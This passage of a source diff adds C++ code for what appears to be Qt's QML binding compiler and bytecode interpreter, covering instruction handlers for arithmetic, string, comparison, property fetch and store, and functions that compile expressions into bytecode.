+ QML_END_INSTR(LoadAttached)
+
+ QML_BEGIN_INSTR(ConvertIntToReal)
+ {
+ const Register &input = registers[instr->unaryop.src];
+ Register &output = registers[instr->unaryop.output];
+ if (input.isUndefined()) output.setUndefined();
+ else output.setqreal(qreal(input.getint()));
+ }
+ QML_END_INSTR(ConvertIntToReal)
+
+ QML_BEGIN_INSTR(ConvertRealToInt)
+ {
+ const Register &input = registers[instr->unaryop.src];
+ Register &output = registers[instr->unaryop.output];
+ if (input.isUndefined()) output.setUndefined();
+ else output.setint(qRound(input.getqreal()));
+ }
+ QML_END_INSTR(ConvertRealToInt)
+
+ QML_BEGIN_INSTR(Real)
+ registers[instr->real_value.reg].setqreal(instr->real_value.value);
+ QML_END_INSTR(Real)
+
+ QML_BEGIN_INSTR(Int)
+ registers[instr->int_value.reg].setint(instr->int_value.value);
+ QML_END_INSTR(Int)
+
+ QML_BEGIN_INSTR(Bool)
+ registers[instr->bool_value.reg].setbool(instr->bool_value.value);
+ QML_END_INSTR(Bool)
+
+ QML_BEGIN_INSTR(String)
+ {
+ Register &output = registers[instr->string_value.reg];
+ new (output.getstringptr())
+ QString((QChar *)(data + instr->string_value.offset), instr->string_value.length);
+ output.settype(QMetaType::QString);
+ }
+ QML_END_INSTR(String)
+
+ QML_BEGIN_INSTR(AddReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setqreal(lhs.getqreal() + rhs.getqreal());
+ }
+ QML_END_INSTR(AddReal)
+
+ QML_BEGIN_INSTR(AddInt)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setint(lhs.getint() + rhs.getint());
+ }
+ QML_END_INSTR(AddInt)
+
+ QML_BEGIN_INSTR(AddString)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() && rhs.isUndefined()) { output.setNaN(); }
+ else {
+ if (lhs.isUndefined())
+ new (output.getstringptr())
+ QString(QLatin1String("undefined") + *registers[instr->binaryop.src2].getstringptr());
+ else if (rhs.isUndefined())
+ new (output.getstringptr())
+ QString(*registers[instr->binaryop.src1].getstringptr() + QLatin1String("undefined"));
+ else
+ new (output.getstringptr())
+ QString(*registers[instr->binaryop.src1].getstringptr() +
+ *registers[instr->binaryop.src2].getstringptr());
+ output.settype(QMetaType::QString);
+ }
+ }
+ QML_END_INSTR(AddString)
+
+ QML_BEGIN_INSTR(MinusReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setqreal(lhs.getqreal() - rhs.getqreal());
+ }
+ QML_END_INSTR(MinusReal)
+
+ QML_BEGIN_INSTR(MinusInt)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setint(lhs.getint() - rhs.getint());
+ }
+ QML_END_INSTR(MinusInt)
+
+ QML_BEGIN_INSTR(CompareReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setbool(lhs.isUndefined() == rhs.isUndefined());
+ else output.setbool(lhs.getqreal() == rhs.getqreal());
+ }
+ QML_END_INSTR(CompareReal)
+
+ QML_BEGIN_INSTR(CompareString)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setbool(lhs.isUndefined() == rhs.isUndefined());
+ else output.setbool(*lhs.getstringptr() == *rhs.getstringptr());
+ }
+ QML_END_INSTR(CompareString)
+
+ QML_BEGIN_INSTR(NotCompareReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setbool(lhs.isUndefined() != rhs.isUndefined());
+ else output.setbool(lhs.getqreal() != rhs.getqreal());
+ }
+ QML_END_INSTR(NotCompareReal)
+
+ QML_BEGIN_INSTR(NotCompareString)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setbool(lhs.isUndefined() != rhs.isUndefined());
+ else output.setbool(*lhs.getstringptr() != *rhs.getstringptr());
+ }
+ QML_END_INSTR(NotCompareString)
+
+ QML_BEGIN_INSTR(GreaterThanReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setbool(false);
+ else output.setbool(lhs.getqreal() > rhs.getqreal());
+ }
+ QML_END_INSTR(GreaterThanReal)
+
+ QML_BEGIN_INSTR(MaxReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setqreal(qMax(lhs.getqreal(), rhs.getqreal()));
+ }
+ QML_END_INSTR(MaxReal)
+
+ QML_BEGIN_INSTR(MinReal)
+ {
+ const Register &lhs = registers[instr->binaryop.src1];
+ const Register &rhs = registers[instr->binaryop.src2];
+ Register &output = registers[instr->binaryop.output];
+ if (lhs.isUndefined() || rhs.isUndefined()) output.setNaN();
+ else output.setqreal(qMin(lhs.getqreal(), rhs.getqreal()));
+ }
+ QML_END_INSTR(MinReal)
+
+ QML_BEGIN_INSTR(NewString)
+ {
+ Register &output = registers[instr->construct.reg];
+ new (output.getstringptr()) QString;
+ output.settype(QMetaType::QString);
+ }
+ QML_END_INSTR(NewString)
+
+ QML_BEGIN_INSTR(NewUrl)
+ {
+ Register &output = registers[instr->construct.reg];
+ new (output.geturlptr()) QUrl;
+ output.settype(QMetaType::QUrl);
+ }
+ QML_END_INSTR(NewUrl)
+
+ QML_BEGIN_INSTR(CleanupString)
+ registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
+ QML_END_INSTR(CleanupString)
+
+ QML_BEGIN_INSTR(CleanupUrl)
+ registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
+ QML_END_INSTR(CleanupUrl)
+
+ QML_BEGIN_INSTR(Fetch)
+ {
+ const Register &input = registers[instr->fetch.objectReg];
+ Register &output = registers[instr->fetch.output];
+
+ if (input.isUndefined()) {
+ throwException(instr->fetch.exceptionId, error, program, context);
+ return;
+ }
+
+ QObject *object = input.getQObject();
+ if (!object) {
+ output.setUndefined();
+ } else {
+ void *argv[] = { output.typeDataPtr(), 0 };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty, instr->fetch.index, argv);
+ }
+ }
+ QML_END_INSTR(Fetch)
+
+ QML_BEGIN_INSTR(Store)
+ {
+ Register &data = registers[instr->store.reg];
+ if (data.isUndefined()) {
+ throwException(instr->store.exceptionId, error, program, context,
+ QLatin1String("Unable to assign undefined value"));
+ return;
+ }
+
+ int status = -1;
+ void *argv[] = { data.typeDataPtr(), 0, &status, &storeFlags };
+ QMetaObject::metacall(output, QMetaObject::WriteProperty,
+ instr->store.index, argv);
+ }
+ QML_END_INSTR(Store)
+
+ QML_BEGIN_INSTR(Copy)
+ registers[instr->copy.reg] = registers[instr->copy.src];
+ QML_END_INSTR(Copy)
+
+ QML_BEGIN_INSTR(Skip)
+ if (instr->skip.reg == -1 || !registers[instr->skip.reg].getbool())
+ instr += instr->skip.count;
+ QML_END_INSTR(Skip)
+
+ QML_BEGIN_INSTR(Done)
+ return;
+ QML_END_INSTR(Done)
+
+ QML_BEGIN_INSTR(InitString)
+ if (!identifiers[instr->initstring.offset].identifier) {
+ quint32 len = *(quint32 *)(data + instr->initstring.dataIdx);
+ QChar *strdata = (QChar *)(data + instr->initstring.dataIdx + sizeof(quint32));
+
+ QString str = QString::fromRawData(strdata, len);
+
+ identifiers[instr->initstring.offset] = engine->objectClass->createPersistentIdentifier(str);
+ }
+ QML_END_INSTR(InitString)
+
+ QML_BEGIN_INSTR(FindGenericTerminal)
+ // We start the search in the parent context, as we know that the
+ // name is not present in the current context or it would have been
+ // found during the static compile
+ findgeneric(registers + instr->find.reg, instr->find.subscribeIndex,
+ context->parent,
+ identifiers[instr->find.name].identifier,
+ instr->common.type == Instr::FindGenericTerminal);
+ QML_END_INSTR(FindGenericTerminal)
+
+ QML_BEGIN_INSTR(FindGeneric)
+ // We start the search in the parent context, as we know that the
+ // name is not present in the current context or it would have been
+ // found during the static compile
+ findgeneric(registers + instr->find.reg, instr->find.subscribeIndex,
+ context->parent,
+ identifiers[instr->find.name].identifier,
+ instr->common.type == Instr::FindGenericTerminal);
+ QML_END_INSTR(FindGeneric)
+
+ QML_BEGIN_INSTR(FindPropertyTerminal)
+ {
+ const Register &object = registers[instr->find.src];
+ if (object.isUndefined()) {
+ throwException(instr->find.exceptionId, error, program, context);
+ return;
+ }
+
+ findproperty(object.getQObject(), registers + instr->find.reg,
+ QDeclarativeEnginePrivate::get(context->engine),
+ instr->find.subscribeIndex, identifiers[instr->find.name].identifier,
+ instr->common.type == Instr::FindPropertyTerminal);
+ }
+ QML_END_INSTR(FindPropertyTerminal)
+
+ QML_BEGIN_INSTR(FindProperty)
+ {
+ const Register &object = registers[instr->find.src];
+ if (object.isUndefined()) {
+ throwException(instr->find.exceptionId, error, program, context);
+ return;
+ }
+
+ findproperty(object.getQObject(), registers + instr->find.reg,
+ QDeclarativeEnginePrivate::get(context->engine),
+ instr->find.subscribeIndex, identifiers[instr->find.name].identifier,
+ instr->common.type == Instr::FindPropertyTerminal);
+ }
+ QML_END_INSTR(FindProperty)
+
+ QML_BEGIN_INSTR(CleanupGeneric)
+ {
+ int type = registers[instr->cleanup.reg].gettype();
+ if (type == qMetaTypeId<QVariant>()) {
+ registers[instr->cleanup.reg].getvariantptr()->~QVariant();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
+ } else if (type == QMetaType::QString) {
+ registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
+ } else if (type == QMetaType::QUrl) {
+ registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
+ }
+ }
+ QML_END_INSTR(CleanupGeneric)
+
+ QML_BEGIN_INSTR(ConvertGenericToReal)
+ {
+ Register &output = registers[instr->unaryop.output];
+ Register &input = registers[instr->unaryop.src];
+ bool ok = true;
+ output.setqreal(toReal(&input, input.gettype(), &ok));
+ if (!ok) output.setUndefined();
+ }
+ QML_END_INSTR(ConvertGenericToReal)
+
+ QML_BEGIN_INSTR(ConvertGenericToBool)
+ {
+ Register &output = registers[instr->unaryop.output];
+ Register &input = registers[instr->unaryop.src];
+ bool ok = true;
+ output.setbool(toBool(&input, input.gettype(), &ok));
+ if (!ok) output.setUndefined();
+ }
+ QML_END_INSTR(ConvertGenericToBool)
+
+ QML_BEGIN_INSTR(ConvertGenericToString)
+ {
+ Register &output = registers[instr->unaryop.output];
+ Register &input = registers[instr->unaryop.src];
+ bool ok = true;
+ QString str = toString(&input, input.gettype(), &ok);
+ if (ok) { new (output.getstringptr()) QString(str); output.settype(QMetaType::QString); }
+ else { output.setUndefined(); }
+ }
+ QML_END_INSTR(ConvertGenericToString)
+
+ QML_BEGIN_INSTR(ConvertGenericToUrl)
+ {
+ Register &output = registers[instr->unaryop.output];
+ Register &input = registers[instr->unaryop.src];
+ bool ok = true;
+ QUrl url = toUrl(&input, input.gettype(), context, &ok);
+ if (ok) { new (output.geturlptr()) QUrl(url); output.settype(QMetaType::QUrl); }
+ else { output.setUndefined(); }
+ }
+ QML_END_INSTR(ConvertGenericToUrl)
+
+#ifdef QML_THREADED_INTERPRETER
+ // nothing to do
+#else
+ default:
+ qFatal("EEK");
+ break;
+ } // switch
+
+ ++instr;
+ } // while
+#endif
+}
+
+void QDeclarativeBindingCompiler::dump(const QByteArray &programData)
+{
+ const Program *program = (const Program *)programData.constData();
+
+ qWarning() << "Program.bindings:" << program->bindings;
+ qWarning() << "Program.dataLength:" << program->dataLength;
+ qWarning() << "Program.subscriptions:" << program->subscriptions;
+ qWarning() << "Program.indentifiers:" << program->identifiers;
+
+ int count = program->instructionCount;
+ const Instr *instr = program->instructions();
+
+ while (count--) {
+
+ dumpInstruction(instr);
+ ++instr;
+ }
+}
+
+/*!
+Clear the state associated with attempting to compile a specific binding.
+This does not clear the global "committed binding" states.
+*/
+void QDeclarativeBindingCompilerPrivate::resetInstanceState()
+{
+ registers = 0;
+ registerCleanups.clear();
+ data = committed.data;
+ exceptions = committed.exceptions;
+ usedSubscriptionIds.clear();
+ subscriptionSet.clear();
+ subscriptionIds = committed.subscriptionIds;
+ registeredStrings = committed.registeredStrings;
+ bytecode.clear();
+}
+
+/*!
+Mark the last compile as successful, and add it to the "committed data"
+section.
+
+Returns the index for the committed binding.
+*/
+int QDeclarativeBindingCompilerPrivate::commitCompile()
+{
+ int rv = committed.count();
+ committed.offsets << committed.bytecode.count();
+ committed.dependencies << usedSubscriptionIds;
+ committed.bytecode << bytecode;
+ committed.data = data;
+ committed.exceptions = exceptions;
+ committed.subscriptionIds = subscriptionIds;
+ committed.registeredStrings = registeredStrings;
+ return rv;
+}
+
+bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node)
+{
+ resetInstanceState();
+
+ if (destination->type == -1)
+ return false;
+
+ if (bindingsDump()) {
+ QDeclarativeJS::AST::ExpressionNode *n = node->expressionCast();
+ if (n) {
+ Instr id;
+ id.common.type = Instr::BindingId;
+ id.id.column = n->firstSourceLocation().startColumn;
+ id.id.line = n->firstSourceLocation().startLine;
+ bytecode << id;
+ }
+ }
+
+ Result type;
+
+ if (!parseExpression(node, type))
+ return false;
+
+ if (subscriptionSet.count() > 0xFFFF ||
+ registeredStrings.count() > 0xFFFF)
+ return false;
+
+ if (type.unknownType) {
+ if (!qmlExperimental())
+ return false;
+
+ if (destination->type != QMetaType::QReal &&
+ destination->type != QVariant::String &&
+ destination->type != QMetaType::Bool &&
+ destination->type != QVariant::Url)
+ return false;
+
+ int convertReg = acquireReg();
+ if (convertReg == -1)
+ return false;
+
+ if (destination->type == QMetaType::QReal) {
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToReal;
+ convert.unaryop.output = convertReg;
+ convert.unaryop.src = type.reg;
+ bytecode << convert;
+ } else if (destination->type == QVariant::String) {
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToString;
+ convert.unaryop.output = convertReg;
+ convert.unaryop.src = type.reg;
+ bytecode << convert;
+ } else if (destination->type == QMetaType::Bool) {
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToBool;
+ convert.unaryop.output = convertReg;
+ convert.unaryop.src = type.reg;
+ bytecode << convert;
+ } else if (destination->type == QVariant::Url) {
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToUrl;
+ convert.unaryop.output = convertReg;
+ convert.unaryop.src = type.reg;
+ bytecode << convert;
+ }
+
+ Instr cleanup;
+ cleanup.common.type = Instr::CleanupGeneric;
+ cleanup.cleanup.reg = type.reg;
+ bytecode << cleanup;
+
+ Instr instr;
+ instr.common.type = Instr::Store;
+ instr.store.output = 0;
+ instr.store.index = destination->index;
+ instr.store.reg = convertReg;
+ instr.store.exceptionId = exceptionId(node->expressionCast());
+ bytecode << instr;
+
+ if (destination->type == QVariant::String) {
+ Instr cleanup;
+ cleanup.common.type = Instr::CleanupString;
+ cleanup.cleanup.reg = convertReg;
+ bytecode << cleanup;
+ } else if (destination->type == QVariant::Url) {
+ Instr cleanup;
+ cleanup.common.type = Instr::CleanupUrl;
+ cleanup.cleanup.reg = convertReg;
+ bytecode << cleanup;
+ }
+
+ releaseReg(convertReg);
+
+ Instr done;
+ done.common.type = Instr::Done;
+ bytecode << done;
+
+ } else {
+ // Can we store the final value?
+ if (type.type == QVariant::Int &&
+ destination->type == QMetaType::QReal) {
+ Instr instr;
+ instr.common.type = Instr::ConvertIntToReal;
+ instr.unaryop.output = type.reg;
+ instr.unaryop.src = type.reg;
+ bytecode << instr;
+ type.type = QMetaType::QReal;
+ } else if (type.type == QMetaType::QReal &&
+ destination->type == QVariant::Int) {
+ Instr instr;
+ instr.common.type = Instr::ConvertRealToInt;
+ instr.unaryop.output = type.reg;
+ instr.unaryop.src = type.reg;
+ bytecode << instr;
+ type.type = QVariant::Int;
+ } else if (type.type == destination->type) {
+ } else {
+ const QMetaObject *from = type.metaObject;
+ const QMetaObject *to = engine->rawMetaObjectForType(destination->type);
+
+ if (QDeclarativePropertyPrivate::canConvert(from, to))
+ type.type = destination->type;
+ }
+
+ if (type.type == destination->type) {
+ Instr instr;
+ instr.common.type = Instr::Store;
+ instr.store.output = 0;
+ instr.store.index = destination->index;
+ instr.store.reg = type.reg;
+ instr.store.exceptionId = exceptionId(node->expressionCast());
+ bytecode << instr;
+
+ releaseReg(type.reg);
+
+ Instr done;
+ done.common.type = Instr::Done;
+ bytecode << done;
+ } else {
+ return false;
+ }
+ }
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseExpression(QDeclarativeJS::AST::Node *node, Result &type)
+{
+ while (node->kind == AST::Node::Kind_NestedExpression)
+ node = static_cast<AST::NestedExpression *>(node)->expression;
+
+ if (tryArith(node)) {
+ if (!parseArith(node, type)) return false;
+ } else if (tryLogic(node)) {
+ if (!parseLogic(node, type)) return false;
+ } else if (tryConditional(node)) {
+ if (!parseConditional(node, type)) return false;
+ } else if (tryName(node)) {
+ if (!parseName(node, type)) return false;
+ } else if (tryConstant(node)) {
+ if (!parseConstant(node, type)) return false;
+ } else if (tryMethod(node)) {
+ if (!parseMethod(node, type)) return false;
+ } else {
+ return false;
+ }
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryName(QDeclarativeJS::AST::Node *node)
+{
+ return node->kind == AST::Node::Kind_IdentifierExpression ||
+ node->kind == AST::Node::Kind_FieldMemberExpression;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseName(AST::Node *node, Result &type)
+{
+ QStringList nameParts;
+ QList<AST::ExpressionNode *> nameNodes;
+ if (!buildName(nameParts, node, &nameNodes))
+ return false;
+
+ int reg = acquireReg();
+ if (reg == -1)
+ return false;
+ type.reg = reg;
+
+ QDeclarativeParser::Object *absType = 0;
+
+ QStringList subscribeName;
+
+ bool wasAttachedObject = false;
+
+ for (int ii = 0; ii < nameParts.count(); ++ii) {
+ const QString &name = nameParts.at(ii);
+
+ // We don't handle signal properties or attached properties
+ if (name.length() > 2 && name.startsWith(QLatin1String("on")) &&
+ name.at(2).isUpper())
+ return false;
+
+ QDeclarativeType *attachType = 0;
+ if (name.at(0).isUpper()) {
+ // Could be an attached property
+ if (ii == nameParts.count() - 1)
+ return false;
+ if (nameParts.at(ii + 1).at(0).isUpper())
+ return false;
+
+ QDeclarativeImportedNamespace *ns = 0;
+ if (!imports.resolveType(name.toUtf8(), &attachType, 0, 0, 0, &ns))
+ return false;
+ if (ns || !attachType || !attachType->attachedPropertiesType())
+ return false;
+
+ wasAttachedObject = true;
+ }
+
+ if (ii == 0) {
+
+ if (attachType) {
+ Instr instr;
+ instr.common.type = Instr::LoadScope;
+ instr.load.index = 0;
+ instr.load.reg = reg;
+ bytecode << instr;
+
+ Instr attach;
+ attach.common.type = Instr::LoadAttached;
+ attach.attached.output = reg;
+ attach.attached.reg = reg;
+ attach.attached.id = attachType->attachedPropertiesId();
+ attach.attached.exceptionId = exceptionId(nameNodes.at(ii));
+ bytecode << attach;
+
+ subscribeName << contextName();
+ subscribeName << QLatin1String("$$$ATTACH_") + name;
+
+ absType = 0;
+ type.metaObject = attachType->attachedPropertiesType();
+
+ continue;
+ } else if (ids.contains(name)) {
+ QDeclarativeParser::Object *idObject = ids.value(name);
+ absType = idObject;
+ type.metaObject = absType->metaObject();
+
+ // We check if the id object is the root or
+ // scope object to avoid a subscription
+ if (idObject == component) {
+ Instr instr;
+ instr.common.type = Instr::LoadRoot;
+ instr.load.index = 0;
+ instr.load.reg = reg;
+ bytecode << instr;
+ } else if (idObject == context) {
+ Instr instr;
+ instr.common.type = Instr::LoadScope;
+ instr.load.index = 0;
+ instr.load.reg = reg;
+ bytecode << instr;
+ } else {
+ Instr instr;
+ instr.common.type = Instr::LoadId;
+ instr.load.index = idObject->idIndex;
+ instr.load.reg = reg;
+ bytecode << instr;
+
+ subscribeName << QLatin1String("$$$ID_") + name;
+
+ if (subscription(subscribeName, &type)) {
+ Instr sub;
+ sub.common.type = Instr::SubscribeId;
+ sub.subscribe.offset = subscriptionIndex(subscribeName);
+ sub.subscribe.reg = reg;
+ sub.subscribe.index = instr.load.index;
+ bytecode << sub;
+ }
+ }
+
+ } else {
+
+ QByteArray utf8Name = name.toUtf8();
+ const char *cname = utf8Name.constData();
+
+ int d0Idx = (context == component)?-1:context->metaObject()->indexOfProperty(cname);
+ int d1Idx = -1;
+ if (d0Idx == -1)
+ d1Idx = component->metaObject()->indexOfProperty(cname);
+
+ if (d0Idx != -1) {
+ Instr instr;
+ instr.common.type = Instr::LoadScope;
+ instr.load.index = 0;
+ instr.load.reg = reg;
+ bytecode << instr;
+
+ subscribeName << contextName();
+ subscribeName << name;
+
+ if (!fetch(type, context->metaObject(), reg, d0Idx, subscribeName, nameNodes.at(ii)))
+ return false;
+ } else if(d1Idx != -1) {
+ Instr instr;
+ instr.common.type = Instr::LoadRoot;
+ instr.load.index = 0;
+ instr.load.reg = reg;
+ bytecode << instr;
+
+ subscribeName << QLatin1String("$$$ROOT");
+ subscribeName << name;
+
+ if (!fetch(type, component->metaObject(), reg, d1Idx, subscribeName, nameNodes.at(ii)))
+ return false;
+ } else if (qmlExperimental()) {
+ Instr find;
+ if (nameParts.count() == 1)
+ find.common.type = Instr::FindGenericTerminal;
+ else
+ find.common.type = Instr::FindGeneric;
+
+ find.find.reg = reg;
+ find.find.src = -1;
+ find.find.name = registerString(name);
+ find.find.exceptionId = exceptionId(nameNodes.at(ii));
+
+ subscribeName << QString(QLatin1String("$$$Generic_") + name);
+ if (subscription(subscribeName, &type))
+ find.find.subscribeIndex = subscriptionIndex(subscribeName);
+ else
+ find.find.subscribeIndex = -1;
+
+ bytecode << find;
+ type.unknownType = true;
+ }
+
+ if (!type.unknownType && type.type == -1)
+ return false; // Couldn't fetch that type
+ }
+
+ } else {
+
+ if (attachType) {
+ Instr attach;
+ attach.common.type = Instr::LoadAttached;
+ attach.attached.output = reg;
+ attach.attached.reg = reg;
+ attach.attached.id = attachType->attachedPropertiesId();
+ bytecode << attach;
+
+ absType = 0;
+ type.metaObject = attachType->attachedPropertiesType();
+
+ subscribeName << QLatin1String("$$$ATTACH_") + name;
+ continue;
+ }
+
+ const QMetaObject *mo = 0;
+ if (absType)
+ mo = absType->metaObject();
+ else if (type.metaObject)
+ mo = type.metaObject;
+
+ QByteArray utf8Name = name.toUtf8();
+ const char *cname = utf8Name.constData();
+ int idx = mo?mo->indexOfProperty(cname):-1;
+ if (absType && idx == -1)
+ return false;
+
+ subscribeName << name;
+
+ if (absType || (wasAttachedObject && idx != -1) || (mo && mo->property(idx).isFinal())) {
+ absType = 0;
+ if (!fetch(type, mo, reg, idx, subscribeName, nameNodes.at(ii)))
+ return false;
+ } else {
+
+ Instr prop;
+ if (ii == nameParts.count() -1 )
+ prop.common.type = Instr::FindPropertyTerminal;
+ else
+ prop.common.type = Instr::FindProperty;
+
+ prop.find.reg = reg;
+ prop.find.src = reg;
+ prop.find.name = registerString(name);
+ prop.find.exceptionId = exceptionId(nameNodes.at(ii));
+
+ if (subscription(subscribeName, &type))
+ prop.find.subscribeIndex = subscriptionIndex(subscribeName);
+ else
+ prop.find.subscribeIndex = -1;
+
+ type.unknownType = true;
+ type.metaObject = 0;
+ type.type = -1;
+ type.reg = reg;
+ bytecode << prop;
+ }
+ }
+
+ wasAttachedObject = false;
+ }
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryArith(QDeclarativeJS::AST::Node *node)
+{
+ if (node->kind != AST::Node::Kind_BinaryExpression)
+ return false;
+
+ AST::BinaryExpression *expression = static_cast<AST::BinaryExpression *>(node);
+ if (expression->op == QSOperator::Add ||
+ expression->op == QSOperator::Sub)
+ return true;
+ else
+ return false;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseArith(QDeclarativeJS::AST::Node *node, Result &type)
+{
+ AST::BinaryExpression *expression = static_cast<AST::BinaryExpression *>(node);
+
+ type.reg = acquireReg();
+ if (type.reg == -1)
+ return false;
+
+ Result lhs;
+ Result rhs;
+
+ if (!parseExpression(expression->left, lhs)) return false;
+ if (!parseExpression(expression->right, rhs)) return false;
+
+ if ((lhs.type == QVariant::Int || lhs.type == QMetaType::QReal) &&
+ (rhs.type == QVariant::Int || rhs.type == QMetaType::QReal))
+ return numberArith(type, lhs, rhs, (QSOperator::Op)expression->op);
+ else if(expression->op == QSOperator::Sub)
+ return numberArith(type, lhs, rhs, (QSOperator::Op)expression->op);
+ else if ((lhs.type == QMetaType::QString || lhs.unknownType) &&
+ (rhs.type == QMetaType::QString || rhs.unknownType) &&
+ (lhs.type == QMetaType::QString || rhs.type == QMetaType::QString))
+ return stringArith(type, lhs, rhs, (QSOperator::Op)expression->op);
+ else
+ return false;
+}
+
+bool QDeclarativeBindingCompilerPrivate::numberArith(Result &type, const Result &lhs, const Result &rhs, QSOperator::Op op)
+{
+ bool nativeReal = rhs.type == QMetaType::QReal ||
+ lhs.type == QMetaType::QReal ||
+ lhs.unknownType ||
+ rhs.unknownType;
+
+ if (nativeReal && lhs.type == QMetaType::Int) {
+ Instr convert;
+ convert.common.type = Instr::ConvertIntToReal;
+ convert.unaryop.output = lhs.reg;
+ convert.unaryop.src = lhs.reg;
+ bytecode << convert;
+ }
+
+ if (nativeReal && rhs.type == QMetaType::Int) {
+ Instr convert;
+ convert.common.type = Instr::ConvertIntToReal;
+ convert.unaryop.output = rhs.reg;
+ convert.unaryop.src = rhs.reg;
+ bytecode << convert;
+ }
+
+ int lhsTmp = -1;
+ int rhsTmp = -1;
+
+ if (lhs.unknownType) {
+ if (!qmlExperimental())
+ return false;
+
+ lhsTmp = acquireReg();
+ if (lhsTmp == -1)
+ return false;
+
+ Instr conv;
+ conv.common.type = Instr::ConvertGenericToReal;
+ conv.unaryop.output = lhsTmp;
+ conv.unaryop.src = lhs.reg;
+ bytecode << conv;
+ }
+
+ if (rhs.unknownType) {
+ if (!qmlExperimental())
+ return false;
+
+ rhsTmp = acquireReg();
+ if (rhsTmp == -1)
+ return false;
+
+ Instr conv;
+ conv.common.type = Instr::ConvertGenericToReal;
+ conv.unaryop.output = rhsTmp;
+ conv.unaryop.src = rhs.reg;
+ bytecode << conv;
+ }
+
+ Instr arith;
+ if (op == QSOperator::Add) {
+ arith.common.type = nativeReal?Instr::AddReal:Instr::AddInt;
+ } else if (op == QSOperator::Sub) {
+ arith.common.type = nativeReal?Instr::MinusReal:Instr::MinusInt;
+ } else {
+ qFatal("Unsupported arithmetic operator");
+ }
+
+ arith.binaryop.output = type.reg;
+ arith.binaryop.src1 = (lhsTmp == -1)?lhs.reg:lhsTmp;
+ arith.binaryop.src2 = (rhsTmp == -1)?rhs.reg:rhsTmp;
+ bytecode << arith;
+
+ type.metaObject = 0;
+ type.type = nativeReal?QMetaType::QReal:QMetaType::Int;
+ type.subscriptionSet.unite(lhs.subscriptionSet);
+ type.subscriptionSet.unite(rhs.subscriptionSet);
+
+ if (lhsTmp != -1) releaseReg(lhsTmp);
+ if (rhsTmp != -1) releaseReg(rhsTmp);
+ releaseReg(lhs.reg);
+ releaseReg(rhs.reg);
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::stringArith(Result &type, const Result &lhs, const Result &rhs, QSOperator::Op op)
+{
+ if (op != QSOperator::Add)
+ return false;
+
+ int lhsTmp = -1;
+ int rhsTmp = -1;
+
+ if (lhs.unknownType) {
+ if (!qmlExperimental())
+ return false;
+
+ lhsTmp = acquireReg(Instr::CleanupString);
+ if (lhsTmp == -1)
+ return false;
+
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToString;
+ convert.unaryop.output = lhsTmp;
+ convert.unaryop.src = lhs.reg;
+ bytecode << convert;
+ }
+
+ if (rhs.unknownType) {
+ if (!qmlExperimental())
+ return false;
+
+ rhsTmp = acquireReg(Instr::CleanupString);
+ if (rhsTmp == -1)
+ return false;
+
+ Instr convert;
+ convert.common.type = Instr::ConvertGenericToString;
+ convert.unaryop.output = rhsTmp;
+ convert.unaryop.src = rhs.reg;
+ bytecode << convert;
+ }
